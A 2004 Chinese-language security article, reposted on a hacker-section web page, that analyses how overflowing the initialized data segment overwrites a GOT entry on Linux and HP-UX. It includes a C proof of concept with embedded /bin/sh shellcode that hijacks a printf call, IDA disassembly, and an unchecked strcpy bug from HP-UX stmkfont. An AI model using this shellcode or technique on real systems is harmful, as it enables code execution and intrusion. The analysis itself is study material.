您的位置:首页 >> 黑客 >> 技术交流 >> 新闻正文

已初始化数据区溢出覆盖外部函数导入地址表的利用分析

作者:不详  时间:2004-11-19 9:37:36  来自:台州理想网  责任编辑:  阅读次数:

  台州理想网(tzlx.Net)依法保护知识产权,如果我们的文章有涉及或侵犯您的有关权益,请即时与我们联系, 注明网址及文章,我们会即时处理或删除,感谢您的合作!

查看:[大字 中等 还原] 自动滚屏[左键停止] 或者双击自动滚屏

该文章原贴于Unix hacking版,由此引出的很好的讨论参考:
https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=28101


<1> 引言

一直没有看到对已初始化数据区溢出的文章,以前研究HP-UX(PA)体系结构时注意到在
已初始化数据区后面就是函数导入地址表,如果里边发生溢出可以导致函数导入地址被覆
盖从而修改外部函数调用时的执行地址,最终修改程序执行流程。最近发现linux上段的
分配策略是相同的,所以估计其他UNIX系统同样实用。


<2> 实例

在linux下作一个测试:
编写一个程序

/* Filename: t-seg.c
Write for test seg layout by watercloud 2003-9-7
Tested on RedHat8.0
*/
#include<stdio.h>

char shell[]="j\vX\x99Rhn/shh//biT[RSTY\xcd\x80";
unsigned int array[1]={0};

int main(int argc,char *argv[])
{
int i;
printf("Begin!\n");
for(i=0;i<100;i++)
{
array=(unsigned int )shell;
}
printf("End!\n");
return 0;
}
/*EOF */

cloud$ gcc t-seg.c -o t-seg -g
cloud$ ./t-seg
Begin!
sh-2.05b$ #看这里在调用printf("End!\n");时其实跑到了我们的shell里去执行了。


看起来很奇怪吧??

<3> 分析

没关系我们来看看IDA Pro分析结果,先看看段的组织,看看我们关心的array和printf的关系:

.data:080493DC ; Segment type: Pure data
.data:080493DC ; Segment permissions: Read/Write
.data:080493DC _data segment dword public DATA use32
.data:080493DC assume cs:_data
.data:080493DC ;org 80493DCh
.data:080493DC public data_start ; weak
.data:080493DC data_start db 0 ; ; Alternative name is __data_start
.data:080493DD db 0 ;
.data:080493DE db 0 ;
.data:080493DF db 0 ;
.data:080493E0 __dso_handle db 0 ;
.data:080493E1 db 0 ;
.data:080493E2 db 0 ;
.data:080493E3 db 0 ;
.data:080493E4 p_0 dd 80494DCh ; DATA XREF: __do_global_dtors_aux+Fr
.data:080493E4 ; __do_global_dtors_aux+1Fw ...
.data:080493E8 public shell
.data:080493E8 shell db j,0Bh,X橰hn/shh//biT[RSTY蛝,0 ; DATA XREF: main+32o
.data:08049400 public array


.data:08049400 array dd 0 ; DATA XREF: main+32w
--------------------------------看,这里是我们的array。


.got:080494E4 ; Segment type: Pure data
.got:080494E4 ; Segment permissions: Read/Write
.got:080494E4 _got segment dword public DATA use32
.got:080494E4 assume cs:_got
.got:080494E4 ;org 80494E4h
.got:080494E4 public _GLOBAL_OFFSET_TABLE_
.got:080494E4 _GLOBAL_OFFSET_TABLE_ db ? ; ; DATA XREF: call_gmon_start+Co
.got:080494E4 ; _term_proc+Co
.got:080494E5 db ? ;
.got:080494E6 db ? ;
.got:080494E7 db ? ;
.got:080494E8 db ? ;
.got:080494E9 db ? ;
.got:080494EA db ? ;
.got:080494EB db ? ;
.got:080494EC db ? ;
.got:080494ED db ? ;
.got:080494EE db ? ;
.got:080494EF db ? ;
.got:080494F0 off_80494F0 dd offset __libc_start_main ; DATA XREF: ___libc_start_mainr

.got:080494F4 off_80494F4 dd offset printf ; DATA XREF: _printfr
------------------------------这里存放的是真正的printf的地址。


.got:080494F8 db 0 ;
.got:080494F9 db 0 ;
.got:080494FA db 0 ;
.got:080494FB db 0 ;
.got:080494FB _got ends
.got:080494FB


从里边我们可以看到:
1. array的地址比printf导入地址项所在地址要低。
2. 从array所在地址到printf导入地址所在地址间的空间均可读写。

以上两条保证了我们可以溢出array来覆盖printf的导入地址,
最终结果也就是在上面演示上看到的了。

如果你对printf调用有疑问的话接着看:

反汇编main你可以发现如下代码:
.text:0804836F push offset aEnd ; "End!\n"
.text:08048374 call _printf

反汇编_printf函数看看:
.plt:08048268 _printf proc near ; CODE XREF: main+18p
.plt:08048268 ; main+4Cp
.plt:08048268 jmp ds:off_80494F4
.plt:08048268 _printf endp

看看这个jmp后面的这个off_80494F4和上面的:
.got:080494F4 off_80494F4 dd offset printf ; DATA XREF: _printfr

应该明白了吧?!


<4> 结束

这种布局方式估计对Unix系统都可作为参考测试,具体就看大家测试补充和不同平台的注意细节了。
补充一点:在RedHat8和HP-UX(PA)上对于static定义并初始化的变量布局和测试程序一样。
目前已经公开的有这样漏洞的程序有HP-UX上的stmkfont,它的BUG中的一个类似如下情况:
char Name[]="watercloud";
int main(int argc,char * argv[])
{
. . .
getopt("n: . . . ");
. . .
case n:
strcpy(Name,optarg);

. . .

}
这就是最典型的已初始化数据区的溢出了。

最后的结论是这样的溢出是最容易利用的溢出了 :)
文章评论 更多
版权声明 更多

共有评论篇 查看评论
姓名:

部分文章收集于网上,如果侵犯了你的权益请来信告之,我们将在24小时内删除!
如果解压本站本地软件时需要密码,请用www.tzlx.net或www.23sj.com 来解压!
如果发现本站文章错误,请在论坛中指出,谢谢!
如果链接本站本地程序和任何文章,务请注明来自台州理想网,并做上本站网址的连接[www.tzlx.net]谢谢您的理解与支持!
欢迎广大程序、文章、教程作者以及厂商在本站发布信息,本站将为您予以能力范围以内的推广!
热点文章 更多
推荐文章 更多
 

关于站点 | 广告服务 | 联系站长 | 版权隐私 | 友情连接
COPYRIGHT (C) 2003-2004 Www.tzlx.Net ALL RIGHTS RESERVED.
联系方式:E-mail:web 制作维护:汽水糖 QQ:307929021